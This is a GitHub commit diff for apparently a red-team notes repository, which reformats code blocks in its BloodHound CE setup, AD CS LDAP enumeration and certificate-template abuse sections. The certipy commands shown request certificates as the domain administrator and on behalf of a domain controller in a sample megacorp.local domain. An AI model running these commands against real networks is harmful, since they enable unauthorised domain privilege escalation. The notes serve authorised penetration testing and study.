-
Notifications
You must be signed in to change notification settings - Fork 103
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6b70b35
commit 9d3cc84
Showing
4 changed files
with
47 additions
and
22 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -158,35 +158,35 @@ sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/ | |
Quick start: | ||
|
||
```bash | ||
$ curl -sSL https://ghst.ly/getbhce -o docker-compose.yml | ||
$ sed -i 's|is the variable available outside of Docker|is the variable available outside of Docker\n - bhe_default_admin_principal_name=${bhe_default_admin_principal_name}\n - bhe_default_admin_password=${bhe_default_admin_password}\n - bhe_default_admin_email_address=${bhe_default_admin_email_address}|g' docker-compose.yml | ||
$ curl -sSL https://github.com/SpecterOps/BloodHound/raw/refs/heads/main/examples/docker-compose/.env.example -o .env | ||
$ sed -i 's|#NEO4J_DATA_MOUNT=./neo4j/data|NEO4J_DATA_MOUNT=./neo4j/data|g' .env | ||
$ sed -i 's|#bhe_default_admin_principal_name=|bhe_default_admin_principal_name=admin|g' .env | ||
$ sed -i 's|#bhe_default_admin_password=|bhe_default_admin_password=1|g' .env | ||
$ sed -i 's|#bhe_default_admin_email_address=|[email protected]|g' .env | ||
$ docker compose pull && docker compose up | ||
curl -sSL https://ghst.ly/getbhce -o docker-compose.yml | ||
sed -i 's|is the variable available outside of Docker|is the variable available outside of Docker\n - bhe_default_admin_principal_name=${bhe_default_admin_principal_name}\n - bhe_default_admin_password=${bhe_default_admin_password}\n - bhe_default_admin_email_address=${bhe_default_admin_email_address}|g' docker-compose.yml | ||
curl -sSL https://github.com/SpecterOps/BloodHound/raw/refs/heads/main/examples/docker-compose/.env.example -o .env | ||
sed -i 's|#NEO4J_DATA_MOUNT=./neo4j/data|NEO4J_DATA_MOUNT=./neo4j/data|g' .env | ||
sed -i 's|#bhe_default_admin_principal_name=|bhe_default_admin_principal_name=admin|g' .env | ||
sed -i 's|#bhe_default_admin_password=|bhe_default_admin_password=1|g' .env | ||
sed -i 's|#bhe_default_admin_email_address=|[email protected]|g' .env | ||
docker compose pull && docker compose up | ||
``` | ||
|
||
Import custom queries from legacy BloodHound: | ||
|
||
```bash | ||
$ pipx install -f "git+https://github.com/exploide/bloodhound-cli.git" | ||
$ bhcli auth 127.0.0.1:8080 -u admin -p 'WeaponizeK4li!' | ||
$ bhcli queries ~/.config/bloodhound/customqueries.json | ||
pipx install -f "git+https://github.com/exploide/bloodhound-cli.git" | ||
bhcli auth 127.0.0.1:8080 -u admin -p 'WeaponizeK4li!' | ||
bhcli queries ~/.config/bloodhound/customqueries.json | ||
``` | ||
|
||
BloodHound.py collector: | ||
|
||
```bash | ||
$ pipx install -f "git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce" | ||
pipx install -f "git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce" | ||
``` | ||
|
||
Reset ALL: | ||
|
||
```bash | ||
$ docker compose down | ||
$ docker volume rm `docker volume ls -q | grep -e neo4j-data -e postgres-data` | ||
docker compose down | ||
docker volume rm `docker volume ls -q | grep -e neo4j-data -e postgres-data` | ||
``` | ||
{% endtab %} | ||
{% endtabs %} | ||
|
@@ -251,14 +251,14 @@ $ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.json | |
|
||
Install: | ||
|
||
```bash | ||
``` | ||
$ pipx install -f "git+https://github.com/coffeegist/bofhound.git" | ||
$ pipx install -f "git+https://github.com/Tw1sm/pyldapsearch.git" | ||
``` | ||
|
||
An example of manual AD CS data collecting: | ||
|
||
```bash | ||
``` | ||
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "DC=megacorp,DC=local" '(objectclass=domain)' -attributes '*,ntsecuritydescriptor' -silent | ||
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKIEnrollmentService)' -attributes '*,ntsecuritydescriptor' -silent | ||
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=certificationAuthority)' -attributes '*,ntsecuritydescriptor' -silent | ||
|
@@ -268,19 +268,19 @@ $ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb | |
|
||
Resolve a SID: | ||
|
||
```bash | ||
``` | ||
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps '(objectSid=S-1-5-21-2513662962-556311701-4231341873-512)' -attributes '*,ntsecuritydescriptor' | ||
``` | ||
|
||
Resolve group memebership: | ||
|
||
```bash | ||
``` | ||
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps '(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=megacorp,DC=local)' -attributes '*,ntsecuritydescriptor' | ||
``` | ||
|
||
Parse: | ||
|
||
```bash | ||
``` | ||
$ bofhound -i ~/.pyldapsearch/logs --parser ldapsearch --zip | ||
``` | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -34,7 +34,7 @@ PS > Get-ADObject -Filter 'objectClass -eq "pKICertificateTemplate"' -SearchBase | |
|
||
Abusing **Client Authentication**: | ||
|
||
```bash | ||
``` | ||
$ proxychains4 certipy req -u [email protected] -p 'Passw0rd!' -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate --application-policies '1.3.6.1.5.5.7.3.2' -upn '[email protected]' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp | ||
``` | ||
|
||
|
@@ -44,7 +44,7 @@ $ proxychains4 certipy req -u [email protected] -p 'Passw0rd!' -ca CorpC | |
|
||
Abusing **Certificate Request Agent**: | ||
|
||
```bash | ||
``` | ||
$ proxychains4 certipy req -u [email protected] -p 'Passw0rd!' -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate --application-policies '1.3.6.1.4.1.311.20.2.1' -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp | ||
$ proxychains4 certipy req -u [email protected] -p 'Passw0rd!' -pfx snovvcrash.pfx -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template User -on-behalf-of 'MEGACORP\DC01$' -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters